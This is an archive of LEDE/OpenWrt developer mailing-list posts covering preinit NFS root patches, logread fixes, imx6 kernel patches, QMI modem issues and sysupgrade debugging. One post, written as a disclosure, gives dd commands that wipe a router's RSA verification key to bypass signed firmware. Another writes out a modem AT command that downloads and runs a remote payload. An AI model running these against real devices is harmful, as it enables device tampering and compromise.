Re: [LEDE-DEV] [PATCH v2] base-files: Don't deconfigure IP settings while using NFS root
John Crispin [2017-11-08 08:01:53]:
Hi,
> wondering if it would be nicer to add this to the already existing if
> clause.
I find code more readable if I check for all necessary preconditions at the
start of the function and then do the main logic afterwards, if all
precondition are met, so I would rather write it as following:
preinit_ip_deconfig() {
local netdev vid
[ -z "$pi_ifname" ] && return
grep -q "nfsroot" /proc/cmdline && return
grep -q "$pi_ifname" /proc/net/dev || return
vid=${pi_ifname#*\.}
netdev=${pi_ifname%\.*}
ip -4 address flush dev $pi_ifname
ip link set dev $netdev down
if [ "$vid" = "$netdev" ]; then
ip link delete $pi_ifname
fi
}
> and please add a comment in the code stating that deconf should be
> skipped when booting from a nfs rootfs
Would this be more explicit?
rootfs_needs_network() {
grep -q "nfsroot" /proc/cmdline
}
preinit_ip_deconfig() {
...
[ -z "$pi_ifname" ] && return
rootfs_needs_network && return
grep -q "$pi_ifname" /proc/net/dev || return
...
}
-- ynezz
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH v2] base-files: Don't deconfigure IP settings while using NFS root
This patch allows me to boot my system with root file system mounted over
Network File System (NFS). Without this patch, the boot process ends in the
preinit step:
init: - preinit -
...
+ [ eth0 = eth0+ ip link set dev eth0 down
nfs: server 192.168.1.90 not responding, still trying
Signed-off-by: Petr Štetiar
---
package/base-files/files/lib/preinit/10_indicate_preinit | 2 ++
1 file changed, 2 insertions(+)
diff --git a/package/base-files/files/lib/preinit/10_indicate_preinit
b/package/base-files/files/lib/preinit/10_indicate_preinit
index 7a97a8d..457ce21 100644
--- a/package/base-files/files/lib/preinit/10_indicate_preinit
+++ b/package/base-files/files/lib/preinit/10_indicate_preinit
@@ -114,6 +114,8 @@ preinit_ip() {
}
preinit_ip_deconfig() {
+ grep -q "nfsroot" /proc/cmdline && return
+
[ -n "$pi_ifname" ] && grep -q "$pi_ifname" /proc/net/dev && {
local netdev vid
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH] base-files: Don't deconfigure IP settings while using NFS root
Signed-off-by: Petr Štetiar
---
package/base-files/files/lib/preinit/10_indicate_preinit | 2 ++
1 file changed, 2 insertions(+)
diff --git a/package/base-files/files/lib/preinit/10_indicate_preinit
b/package/base-files/files/lib/preinit/10_indicate_preinit
index 7a97a8d..457ce21 100644
--- a/package/base-files/files/lib/preinit/10_indicate_preinit
+++ b/package/base-files/files/lib/preinit/10_indicate_preinit
@@ -114,6 +114,8 @@ preinit_ip() {
}
preinit_ip_deconfig() {
+ grep -q "nfsroot" /proc/cmdline && return
+
[ -n "$pi_ifname" ] && grep -q "$pi_ifname" /proc/net/dev && {
local netdev vid
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH] dropbear: make syslog support configurable
Hans Dedecker [2017-11-03 13:46:14]: Hi, > By default dropbear logs to syslog which discloses info about account names > when doing connection attempts (e.g. "Bad password attempt for 'engineer' > from x.x.x.x:y") I don't get it, syslog discloses this information to whom and how? > As this facilitates brute force attempts against account names; So instead of preventing this brute force attempts, you'll just ignore them now? I'm wondering how is the brute forcing easier with syslog logging. > make syslog support configurable in order not to leak sensitive info via > syslog. I think, that those are nice warning messages, reminding you, that you're doing it wrong: 1. You should use pubkey auth. 2. You should limit access to your network services. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH][ubox] Fixes log read starvation issue after threshold reached
Jo-Philipp Wich [2017-07-12 23:34:13]:
Hi,
> Do you have an easy test case for this? Is piping ~16K plaintext to the
> logger enough to trigger the starvation? I'd like to understand the
> problem some more before judging the patch.
I was trying to fix probably similar issue back in March, but the project's
deadline was approaching rather quickly so I've moved this into my TODO list
and started using syslog from Busybox...
Here's just commit message with test case as I wasn't able to fix it properly
yet:
Attempt to fix logread's stuck remote syslog or file logging on logd's
restart
I'm experiencing some strange behaviour of logread's file logging. From
time to time I see on some machines, that the log file is not growing
and I'm loosing all the system log messages.
Steps to reproduce:
1. /etc/init.d/log stop
2. logd -S 100 &
3. logread -f -F /tmp/messages -p /var/run/logread.1.pid -S 100 &
4. pkill -9 logd
5. logd -S 100 &
Without this patch, logread will never log any new messages to
/tmp/messages file, since the ubus async request is using the old log
ubus `id` from [2], but logd has now new ubus log `id` from [5].
And here is one more fix which I wasn't able to test and submit yet:
commit ecbc9e12dc298b76e2597a9bdaff6db092e3e402
Author: Petr Štetiar
Date: Sun Mar 19 22:15:56 2017 +0100
Check for log file write error and try to recover
Signed-off-by: Petr Štetiar
diff --git a/log/logread.c b/log/logread.c
index 1719976..589ea5f 100644
--- a/log/logread.c
+++ b/log/logread.c
@@ -191,6 +191,14 @@ static int log_notify(struct blob_attr *msg)
getcodetext(LOG_PRI(p), prioritynames),
(blobmsg_get_u32(tb[LOG_SOURCE])) ? ("") : ("
kernel:"), m);
ret = write(sender.fd, buf, strlen(buf));
+ if (ret < 0) {
+ fprintf(stderr, "log write failed: %s\n",
strerror(errno));
+ close(sender.fd);
+ sender.fd = -1;
+ free(str);
+ uloop_end();
+ return ret;
+ }
}
free(str);
> > process seems to halt silently and yet continues running. A restart
> > of the log services fixes it.
Yep.
-- ynezz
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH ubox v2] Add template support to logread
Henry Chang [2017-04-28 14:14:57]: > 1. logd is built-in logd is a built-in feature of ubox, and ubox is a heart > of OpenWrt/LEDE. If ubox can achieve all the use cases, we should simply > just use it. Use rsyslog instead will create additional footprint in terms > of resource while a lot of features in rsyslog is not going to be used. >From my point of view and experience, logd is good for simple use cases. For anything else I would recommend you to use syslogd from Busybox for example. > "Simple plain text files also require log rotation to prevent them > from becoming too large. In log rotation, existing log files are syslogd from Busybox handles log rotation very well, including multiple old files. AFAIK logd doesn't support more then one rotated file. > 3. To make a working and secure remote logging pipeline, what we need > is just logread, stunnel, and a log server. A log server will probably > need some sort of special format in order to do the authentication or > classification. So without template feature in logread, we'll need > another service in between logread and stunnel for just manipulating > every line of the log or we write another logread to achieve this. > While logread already has some sort of object of the log, doing this > in logread will be easier for both programmers and the computer. What about log uploading over HTTPS, using curl and a few lines of shell script? I bet, that some of those cloud log services support such input source, you can tag and format it as needed also. > 4. The template feature in this patch is very efficient. It doesn't > create any overhead if the user doesn't enable this feature by passing > the corresponding argument. The string replacement is also efficient, > we can improve it by optimizing some strlen() function calls for sure > but basically it's efficient enough. It seems to me, that you're just trying to bend actual and simple tools for your use case, instead of using right tools for the job. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH] utils/busybox: prevent weak root passwords
Alberto Bursi [2017-02-17 12:08:03]: > Btw, for console access (serial or TTL or whatever) there is no login > even if you have set a password afaik. BTW, it's a config option, you can enable it: $ uci set system.@system[0].ttylogin='1' -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] FCC killing open platforms and inovations
Simon Wunderlich [2016-11-17 11:19:48]: > On the other hand, swapping the u-boot is not so trivial, at least without > opening/soldering/modifying the flash from outside, which is considered a > reasonable hurdle. Overflows can substitute soldering http://blog.true.cz/2017/02/free-your-router-again/ -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] Observing procd progress
Philip Prindeville [2017-02-12 12:57:19]:
Hi,
> One thing I was wondering about was, on a headless system, but that does
> have an LCD display, is maybe capturing the progress of procd as it runs and
> displaying it on that LCD.
BTW, what kind of platform and LCD is that?
I would probably get the total number of scripts planned to be run, the total
count, 100% on progress bar from glob() as it's used in rcS.c/_rc(). Then I
would probably update the position of the progress bar, the current % position
in q_initd_complete() callback.
> Maybe in q_initd_run() where the DEBUG(2, “start %s %s \n”…) happens, and in
Look at libubox/runqueue.c, search for '->run(' callback.
> q_initd_complete() where the DEBUG(2, “stop %s %s \n”, …) happens?
Look at libubox/runqueue.c, search for '->complete(' callback.
> Hmm… for that matter, I also don’t know where procd does a wait() or wait3()
> or waitpid() on the rc.d/ scripts...
procd is using runqueue task helper, which in turn uses uloop_process_*
functions, so look at libubox at runqueue.c and uloop.c for details.
-- ynezz
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] the ipv6 issues and the notions of timer
Karl Palsson [2017-01-25 10:17:32]:
> Bastian Bittorf wrote:
> > * Dave Taht [24.01.2017 08:52]:
> > > I'd love a "simple ubus listen daemon example - one that listens
> > > merely for events on a set of interfaces. or routes or on a proto".
> >
> > root@box:~ ubus listen
> > { "network.interface": {"action":"ifdown","interface":"lan"} }
> >
> > { "network.interface": {"action":"ifup","interface":"lan"} }
>
> You know ubus listen only shows you the public sends right? You
> don't get to see _any_ of the stuff sent via ubus as RPC.
ubus monitor ?
-- ynezz
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] FCC killing open platforms and inovations
Simon Wunderlich [2016-11-17 11:19:48]: Hi Simon, > On the other hand, swapping the u-boot is not so trivial, at least without > opening/soldering/modifying the flash from outside, which is considered a > reasonable hurdle. the more I'm exploring the secrets of U-Boot code with pepe2k's help, the more I'm puzzled and really wondering why is someone doing all this locking. You or someone else for OpenMesh has put so much energy to make the U-Boot use RSA keys for image verification, but on the other hand you keep the ART partition, where you store the RSA key, writable from the system. So it's quite trivial to unlock the device using the following commands: ssh root@router RSA_KEY_HEADER_SIZE=0x20 RSA_KEY_OFFSET=0x8000 ART_PARTITION=mtd7 BYTES=$((RSA_KEY_HEADER_SIZE)) SEEK=$(($RSA_KEY_OFFSET/$RSA_KEY_HEADER_SIZE)) dd if=/dev/zero bs=$BYTES count=1 | dd of=/dev/$ART_PARTITION bs=$BYTES seek=$SEEK count=1 conv=notrunc reboot It works on OM5P and MR1750. It doesn't seem like a big deal, no soldering needed. Am I missing something? -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH] imx6: kernel: Backport serial port fixes
Signed-off-by: Petr Štetiar
---
...erial-imx-repair-and-complete-handshaking.patch | 78 ++
.../111-serial-imx-fix-polarity-of-RI.patch| 38 +++
...let-irq-handler-return-IRQ_NONE-if-no-eve.patch | 72
...imx-make-sure-unhandled-irqs-are-disabled.patch | 61 +
4 files changed, 249 insertions(+)
create mode 100644
target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
create mode 100644
target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
create mode 100644
target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
create mode 100644
target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
diff --git
a/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
new file mode 100644
index 000..0a117f6
--- /dev/null
+++
b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
@@ -0,0 +1,78 @@
+From 90ebc4838666d148eac5bbac6f4044e5b25cd2d6 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Uwe=20Kleine-K=C3=B6nig?=
+Date: Sun, 18 Oct 2015 21:34:46 +0200
+Subject: [PATCH] serial: imx: repair and complete handshaking
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+The .get_mctrl callback should not report the status of RTS or LOOP, so
+drop this. Instead implement reporting the state of CAR (aka DCD) and
+RI.
+
+For .set_mctrl implement setting the DTR line.
+
+Signed-off-by: Uwe Kleine-König
+Signed-off-by: Greg Kroah-Hartman
+Signed-off-by: Petr Štetiar
+---
+ drivers/tty/serial/imx.c | 23 +--
+ 1 file changed, 17 insertions(+), 6 deletions(-)
+
+diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
+index 76818f5..086675e 100644
+--- a/drivers/tty/serial/imx.c
b/drivers/tty/serial/imx.c
+@@ -148,8 +148,11 @@
+ #define USR2_TXFE (1<<14) /* Transmit buffer FIFO empty */
+ #define USR2_DTRF (1<<13) /* DTR edge interrupt flag */
+ #define USR2_IDLE (1<<12) /* Idle condition */
++#define USR2_RIDELT(1<<10) /* Ring Interrupt Delta */
++#define USR2_RIIN (1<<9) /* Ring Indicator Input */
+ #define USR2_IRINT (1<<8) /* Serial infrared interrupt flag */
+ #define USR2_WAKE (1<<7) /* Wake */
++#define USR2_DCDIN (1<<5) /* Data Carrier Detect Input */
+ #define USR2_RTSF (1<<4) /* RTS edge interrupt flag */
+ #define USR2_TXDC (1<<3) /* Transmitter complete */
+ #define USR2_BRCD (1<<2) /* Break condition */
+@@ -804,16 +807,19 @@ static unsigned int imx_tx_empty(struct uart_port *port)
+ static unsigned int imx_get_mctrl(struct uart_port *port)
+ {
+ struct imx_port *sport = (struct imx_port *)port;
+- unsigned int tmp = TIOCM_DSR | TIOCM_CAR;
++ unsigned int tmp = TIOCM_DSR;
++ unsigned usr1 = readl(sport->port.membase + USR1);
+
+- if (readl(sport->port.membase + USR1) & USR1_RTSS)
++ if (usr1 & USR1_RTSS)
+ tmp |= TIOCM_CTS;
+
+- if (readl(sport->port.membase + UCR2) & UCR2_CTS)
+- tmp |= TIOCM_RTS;
++ /* in DCE mode DCDIN is always 0 */
++ if (!(usr1 & USR2_DCDIN))
++ tmp |= TIOCM_CAR;
+
+- if (readl(sport->port.membase + uts_reg(sport)) & UTS_LOOP)
+- tmp |= TIOCM_LOOP;
++ /* in DCE mode RIIN is always 0 */
++ if (readl(sport->port.membase + USR2) & USR2_RIIN)
++ tmp |= TIOCM_RI;
+
+ return tmp;
+ }
+@@ -831,6 +837,11 @@ static void imx_set_mctrl(struct uart_port *port,
unsigned int mctrl)
+ writel(temp, sport->port.membase + UCR2);
+ }
+
++ temp = readl(sport->port.membase + UCR3) & ~UCR3_DSR;
++ if (!(mctrl & TIOCM_DTR))
++ temp |= UCR3_DSR;
++ writel(temp, sport->port.membase + UCR3);
++
+ temp = readl(sport->port.membase + uts_reg(sport)) & ~UTS_LOOP;
+ if (mctrl & TIOCM_LOOP)
+ temp |= UTS_LOOP;
+--
+1.9.1
+
diff --git
a/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
new file mode 100644
index 000..a065575
--- /dev/null
+++ b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
@@ -0,0 +1,38 @@
+From 9a061cea4477f26a1dfcc0a08dc20575016e91df Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Uwe=20Kleine-K=C3=B6nig?=
+Date: Thu, 24 Mar 2016 14:24:20 +0100
+Subject: [PATCH 1/3] serial: imx: fix polarity of RI
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+When in DTE mode, the bit USR2_RIIN is active low. So invert the logic
+accordingly.
+
Re: [LEDE-DEV] [PATCH v2] imx6: Add hwmon-core driver to the kernel config instead of packaging it
> --- a/target/linux/imx6/config-4.4 > +++ b/target/linux/imx6/config-4.4 > CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y > +CONFIG_HWMON=y Hm, this is apparently not enough. Needs more fixes probably. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH v2] imx6: Add hwmon-core driver to the kernel config instead of packaging it
This commit have removed kmod-thermal-imx package: commit 7f0796d874f8cbcc1bd7705ff4edf8c30223d2bd Author: Felix Fietkau imx6: remove kmod-thermal-imx, it is already enabled in the kernel config which made hwmon modules unavailable, because kmod-thermal-imx had DEPENDS:=+kmod-thermal which had DEPENDS:=+kmod-hwmon-core and currently nothing selects kmod-hwmon-core. It's prefered to have it compiled directly in the kernel. Signed-off-by: Petr Štetiar Cc: Felix Fietkau --- target/linux/imx6/config-4.4 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/target/linux/imx6/config-4.4 b/target/linux/imx6/config-4.4 index 1195e26..a4639af 100644 --- a/target/linux/imx6/config-4.4 +++ b/target/linux/imx6/config-4.4 @@ -106,7 +106,6 @@ CONFIG_CRYPTO_DEV_FSL_CAAM_JR=y CONFIG_CRYPTO_DEV_FSL_CAAM_LE=y CONFIG_CRYPTO_DEV_FSL_CAAM_RINGSIZE=9 CONFIG_CRYPTO_DEV_FSL_CAAM_RNG_API=y -# CONFIG_CRYPTO_DEV_MXS_DCP is not set # CONFIG_CRYPTO_GHASH_ARM_CE is not set CONFIG_CRYPTO_HASH=y CONFIG_CRYPTO_HASH2=y @@ -238,6 +237,7 @@ CONFIG_HAVE_SMP=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_UID16=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y +CONFIG_HWMON=y CONFIG_HW_RANDOM=y CONFIG_HZ_FIXED=0 CONFIG_I2C=y -- 1.9.1 ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH] imx6: Add kmod-hwmon-core dependency to default platform packages
This commit have removed kmod-thermal-imx package: commit 7f0796d874f8cbcc1bd7705ff4edf8c30223d2bd Author: Felix Fietkau imx6: remove kmod-thermal-imx, it is already enabled in the kernel config which made hwmon modules unavailable, because kmod-thermal-imx had DEPENDS:=+kmod-thermal which had DEPENDS:=+kmod-hwmon-core and currently nothing selects kmod-hwmon-core. Signed-off-by: Petr Štetiar Cc: Felix Fietkau --- target/linux/imx6/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/target/linux/imx6/Makefile b/target/linux/imx6/Makefile index 5f7e17b..ea4b5ed 100644 --- a/target/linux/imx6/Makefile +++ b/target/linux/imx6/Makefile @@ -20,6 +20,6 @@ include $(INCLUDE_DIR)/target.mk KERNELNAME:=zImage dtbs -DEFAULT_PACKAGES += uboot-envtools +DEFAULT_PACKAGES += uboot-envtools kmod-hwmon-core $(eval $(call BuildTarget)) -- 1.9.1 ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
Bjørn Mork [2017-01-08 23:10:20]: > The output above comes from the Sierra Wireless EM7455 originally delivered > as part of my Lenovo X1 Carbon, running bog standard firmare. Oops. How did you get into the shell of your modem? Is it a root shell also? Seems like some serial line filtering might be needed in the kernel, to limit access to such backdoor commands like 'AT+QLINUXCMD' only to certain users :-) It's like a bad dream, really. > Trying not to kill the optimism here, but... But this is a project with > about the same complexity as replacing Android on a phone. It's not that complex, it's missing the UI part, WiFi, BLE etc. :-) But I understand the complexity, that's why I'm trying to bring some attention into this project, probably help little bit also. > And IMHO it's rather pointless unless you do something about the "baseband" > image. It's not pointless for me. We do the same with our routers, even if we still can't control the WiFi binary blob firmwares in majority of them. I would be happy if I could build custom firmware image for my modem using LEDE. Why not use the modem as the only CPU in the system? Quectel modems have quite a long EOL, making it quite viable target. > Which is probably not feasible due to the complete lack of any source > code or documentation from Qualcomm. Yep, time will show :-) -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
Adding laforge and zecke to the Cc loop. Matti Laakso [2017-01-08 14:39:34]: Hi, > I'm almost done with checking the connection state using a proto_run_command > with a simple script running uqmi --get-data-status periodically. If the > check fails, the script dies and netifd should restart the connection. Then > we hopefully don't need autoconnect anymore. I'm not using the autoconnect feature anymore, I'm using simple custom script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the source of truth about the connection status, I think it's more reliable to use ping, wget/curl or some other more appropriate and battle tested solution. Simply said, uqmi can lie to you about the connection status. It's just some qmuxd[2] after all using dozen threads answering you :-) What can probably go wrong, right? > > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which makes > > a lot of things crystal clear :-) > > That's an interesting talk, thanks for the note! Indeed, it's very interesting and very scary. This modems are quite powerful devices, usually equiped with very good, but limited uplink connection, still making it ideal candidate for DDoS botnet for example, like any other router, camera or IoT device. It's just a matter of time we see something like this in the wild. The probability is very high, 1.5M lines of just kernel code done probably in a hurry, without proper review, this is very big attack surface. It's better to not think about the system in the modem as a nice place for a hideout for a very persistent backdoor to our systems, surviving even firmware updates. Just imagine some trojan inside the router running following on the modem's AT command serial interface: AT+QLINUXCMD=wget http://something/evil && ./evil Guys at Osmocom already started working on completely open and more secure firmware using OpenEmbedded, but I would like to see it supported in LEDE also, probably with more mainline kernel if possible. Still, it's quite strange to see such a big embedded systems running in the 4G modem. It seems like 2017 is era of SITSes, Systems In The Systems. I use Quectel modems already, so I would love to work on this myself, but I've few other projects with higher priorities going on now, so I'm rather thinking about other way of supporting this very promising project. So far the best idea lying in my head currently is buying few modems + mPCIe breakout boards[3] and deliver those to interested developers. I'm just not sure if this kind of support is going to lead somewhere. Simply said, I'm willing to spend some money in exchange of faster development of this project. 1. http://lists.infradead.org/pipermail/lede-dev/2016-October/003504.html 2. https://osmocom.org/projects/quectel-modems/wiki/Qmuxd 3. http://osmocom.org/projects/mpcie-breakout -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]
Petr Štetiar [2016-12-12 10:06:59]: > I'm going to ask Quectel about this issue and will share the results. So it ended with the following result: "I raceived the additional informations that it’s not well to use autoconnect feature on EC20 and EC25. R&D will work to solve this, but it can take too much time. Is it possible for you to use it without autoconnect?" And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which makes a lot of things crystal clear :-) -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] Scripting builds... how to?
Philip Prindeville [2016-12-31 16:12:21]: Hi, > cp ../my-saved-config .config > make defconfig I use the same steps also. > to generate the .config file in a completely scripted way, by seeding it with > the minimum set of relevant parameters (the deltas) per the steps described > here: > > https://wiki.openwrt.org/doc/howto/build > > Is there an equivalent way to generate the kernel config by seeding it with > minimum state? Look at the scripts/diffconfig file for details, probably at the kconfig.pl usage. > I don’t want to save the complete .config because that changes from release > to release, so there wouldn’t be any point… all I care about is how I’m > differentiating my build from the defaults. You can just do: scripts/diffconfig > ../my-saved-config it should contain everything needed to build the image. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] Sysupgrade leads to SQUASHFS error: unable to read id index table
Hi, I've found some issue with squashfs possibly related to mtdblock and mtdsplit usage. Before digging deeper into it, I would like to ask first for any pointers here. I've recently rebased my Git tree to LEDE master and rebuilt my image (haven't done this for month or so). I've noticed, that the resulting rootfs image has grown from 5MB to 7MB(going to investigate this also soon), leading to the following error SQUASHFS error: mmcblk0: mmc1:0001 004GE0 3.69 GiB mmcblk0boot0: mmc1:0001 004GE0 partition 1 2.00 MiB mmcblk0boot1: mmc1:0001 004GE0 partition 2 2.00 MiB mmcblk0rpmb: mmc1:0001 004GE0 partition 3 512 KiB 3 cmdlinepart partitions found on MTD device eMMC Creating 3 MTD partitions on "eMMC": 0x-0x0008 : "dtb" 0x0008-0x0048 : "kernel" 0x0048-0x0848 : "rootfs" mtd: device 2 (rootfs) set to be root filesystem 1 squashfs-split partitions found on MTD device rootfs 0x00c8-0x0848 : "rootfs_data" block2mtd: mtd0: [eMMC] erase_size = 512KiB [524288] squashfs: SQUASHFS error: unable to read id index table List of all partitions: b300 3866624 mmcblk0 driver: mmcblk b318 512 mmcblk0rpmb (driver?) b3102048 mmcblk0boot1 (driver?) b3082048 mmcblk0boot0 (driver?) 1f00 512 mtdblock0 (driver?) 1f014096 mtdblock1 (driver?) 1f02 131072 mtdblock2 (driver?) 1f03 122880 mtdblock3 (driver?) No filesystem could mount root, tried: ext3 ext4 ext2 squashfs Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(31,2) CPU0: stopping CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.4.36 #0 Hardware name: Freescale i.MX6 Quad/DualLite (Device Tree) Backtrace: [<800234c0>] (dump_backtrace) from [<800236b8>] (show_stack+0x18/0x1c) My kernel commandline: block2mtd.block2mtd=/dev/mmcblk0,524288,eMMC,5 mtdparts=eMMC:512k(dtb),4M(kernel),128M(rootfs) rootwait console=ttymxc0,115200n8 Working MTD layout before sysupgrade (old 5M rootfs): Creating 3 MTD partitions on "eMMC": 0x-0x0008 : "dtb" 0x0008-0x0048 : "kernel" 0x0048-0x0848 : "rootfs" mtd: device 2 (rootfs) set to be root filesystem 1 squashfs-split partitions found on MTD device rootfs 0x00a0-0x0848 : "rootfs_data" My custom sysupgrade commands: tar -xOf "$1" sysupgrade-$board/dtb | mtd write - dtb tar -xOf "$1" sysupgrade-$board/kernel | mtd write - kernel tar -xOf "$1" sysupgrade-$board/rootfs | mtd write - rootfs if [ "$SAVE_CONFIG" -eq 1 ]; then mtd -e rootfs_data jffs2write "$CONF_TAR" rootfs_data else mtd erase rootfs_data fi Thanks! -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]
Matti Laakso [2016-12-12 10:51:42]: > Just shooting in the dark here, but maybe this operator accepts empty > APN and somehow maps it to the correct one? Well, that's maybe the most logical explanation of this weird and inconsistent behavior. Maybe it's just some setting of the modem, to ignore the APN from QMI and use the one provided by the SIM card and in case SIM card APN is empty, it will use some generic one like "internet", which works in case of the Czech SIM card as it's default APN anyway. On the Slovak network, the name of APN is different, not "internet". I'm going to ask Quectel about this issue and will share the results. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH 1/1] add support for overlaying rootfs content
Rafał Miłecki [2016-12-07 16:19:08]: > This adds support for install-overlay define. When used in package it allows > installing files to a special directory that gets copied to the root when > installing it. It allows overwriting files provided by other packages. Handy, thanks! You can add: Tested-by: Petr Štetiar -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] rt5350-spi rt2880-spi question
Giuseppe Lippolis [2016-12-10 23:28:49]: > In the driver code is written the follow comment: > > /* > * spidev should never be referenced in DT without a specific > * compatible string, it is a Linux implementation thing > * rather than a description of the hardware. > */ > > What shall I use in the .dts to bind a generic spi driver? For details look at the discussion[1]. I'm using following patch[2] to silence that "buggy DT" warning. Proper fix is hanging somewhere at bottom of my very long TODO list :-) 1. https://patchwork.kernel.org/patch/6113191/ 2. https://gist.github.com/ynezz/0009468c0b3bfe497faacb075622cd21 -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.
Matti Laakso [2016-12-09 11:35:35]: > On 09.12.2016 11:27, Petr Štetiar wrote: >> I knew, that there's only one profile defined, operator has deleted all other >> profiles, there's currently only one APN defined. >> >> AT+CGDCONT? >> +CGDCONT: 1,"IPV4V6","","0.0.0.0",0,0 > > Well, there's no APN defined (it's an empty string), and who knows, > maybe the modem ignores the APN provided via QMI when enabling > autoconnect... Does your working Czech SIM card have a valid APN string? It's getting quite strange as my Czech SIM gives me the same reply: +CGDCONT: 1,"IPV4V6","","0.0.0.0",0,0 -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.
